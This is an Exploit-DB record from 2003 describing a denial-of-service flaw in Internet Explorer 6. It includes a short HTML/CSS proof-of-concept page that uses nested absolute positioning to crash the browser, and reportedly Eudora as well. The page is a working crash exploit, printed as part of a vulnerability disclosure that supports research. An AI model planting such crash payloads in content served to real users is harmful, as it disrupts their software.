Microsoft Internet Explorer 6 Absolute Position Block Denial of Service Vulnerability

2003-10-03T00:00:00
ID EDB-ID:23215
Type exploitdb
Reporter Nick Johnson
Modified 2003-10-03T00:00:00

Description

Microsoft Internet Explorer 6 Absolute Position Block Denial Of Service Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/8758/info

A problem has been reported in Microsoft Internet Explorer when absolute positioning is used. Because of this, it may be possible to deny service to users of the browser. This issue may be due to memory corruption, however, it is known not at this point if it may be exploited to execute arbitrary code.

It has been reported that the exploit code for this issue may also cause Eudora to crash. This may simply be due to Internet Explorer being set to render HTML content for Eudora.

<html>
<body>
<style type="text/css">
#three {
position: absolute;
}
#one #two {
position: absolute;
}
</style>
<div id="one">
In 'one'
<span id="two">
In 'two'
</div>
<div id="three">
In 'three'
</div>
</body>